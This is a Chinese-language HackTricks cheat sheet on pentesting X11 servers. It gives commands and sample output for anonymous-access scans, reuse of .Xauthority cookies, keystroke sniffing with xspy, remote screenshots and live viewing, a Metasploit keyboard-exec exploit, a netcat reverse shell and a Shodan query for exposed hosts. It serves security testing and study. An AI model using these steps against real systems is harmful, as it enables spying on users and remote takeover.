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134 lines
4.5 KiB
Markdown
134 lines
4.5 KiB
Markdown
# 6000 - Pentesting X11
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{{#include ../banners/hacktricks-training.md}}
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## 基本信息
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**X Window System** (X) 是一种在基于 UNIX 的操作系统上广泛使用的多功能窗口系统。它提供了一个创建图形 **用户界面 (GUIs)** 的框架，各个程序负责用户界面的设计。这种灵活性允许在 X 环境中实现多样化和可定制的体验。
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**默认端口：** 6000
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```
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PORT STATE SERVICE
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6000/tcp open X11
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```
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## 枚举
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检查 **匿名连接：**
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```bash
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nmap -sV --script x11-access -p <PORT> <IP>
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msf> use auxiliary/scanner/x11/open_x11
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```
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#### 本地枚举
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用户主文件夹中的文件 **`.Xauthority`** 是 **X11 用于授权** 的 **文件**。来自 [**这里**](https://stackoverflow.com/a/37367518):
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```bash
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$ xxd ~/.Xauthority
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00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
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00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
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00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
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00000030: 041d ef ...
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```
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> MIT-magic-cookie-1：生成128位密钥（“cookie”），将其存储在 \~/.Xauthority（或 XAUTHORITY 环境变量指向的位置）。客户端将其明文发送给服务器！服务器检查是否有此“cookie”的副本，如果有，则允许连接。密钥由 DMX 生成。
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> [!WARNING]
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> 为了**使用 cookie**，您应该设置环境变量：**`export XAUTHORITY=/path/to/.Xauthority`**
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#### 本地枚举会话
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```bash
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$ w
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23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
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USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
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user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
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```
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在这个例子中，`localhost:0` 正在运行 xfce4-session。
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## 验证连接
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```bash
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xdpyinfo -display <ip>:<display>
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xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
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```
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## 键盘记录
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[xspy](http://tools.kali.org/sniffingspoofing/xspy) 用于嗅探键盘输入。
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示例输出：
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```
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xspy 10.9.xx.xx
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opened 10.9.xx.xx:0 for snoopng
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swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
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qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
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```
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## 截图捕获
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```bash
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xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
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convert screenshot.xwd screenshot.png
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```
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## 远程桌面视图
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Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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```
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./xrdp.py <IP:0>
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```
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首先，我们需要使用 xwininfo 找到窗口的 ID。
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```
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xwininfo -root -display 10.9.xx.xx:0
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xwininfo: Window id: 0x45 (the root window) (has no name)
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Absolute upper-left X: 0
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Absolute upper-left Y: 0
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Relative upper-left X: 0
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Relative upper-left Y: 0
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Width: 1024
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Height: 768
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Depth: 16
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Visual: 0x21
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Visual Class: TrueColor
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Border width: 0
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Class: InputOutput
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Colormap: 0x20 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity
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Backing Store State: NotUseful
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Save Under State: no
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Map State: IsViewable
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Override Redirect State: no
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Corners: +0+0 -0+0 -0-0 +0-0
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-geometry 1024x768+0+0
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```
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**XWatchwin**
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对于**实时查看**，我们需要使用
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```bash
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./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
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./xwatchwin 10.9.xx.xx:0 -w 0x45
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```
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## 获取 Shell
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```
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msf> use exploit/unix/x11/x11_keyboard_exec
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```
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**反向Shell：** Xrdp 还允许通过 Netcat 获取反向 shell。输入以下命令：
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```bash
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./xrdp.py \<IP:0> –no-disp
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```
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在界面中，您可以看到 **R-shell 选项**。
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然后，在您的本地系统上端口 5555 启动 **Netcat 监听器**。
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```bash
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nc -lvp 5555
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```
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然后，将您的IP地址和端口放入**R-Shell**选项中，然后点击**R-shell**以获取一个shell
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## 参考
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- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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## Shodan
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- `port:6000 x11`
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{{#include ../banners/hacktricks-training.md}}
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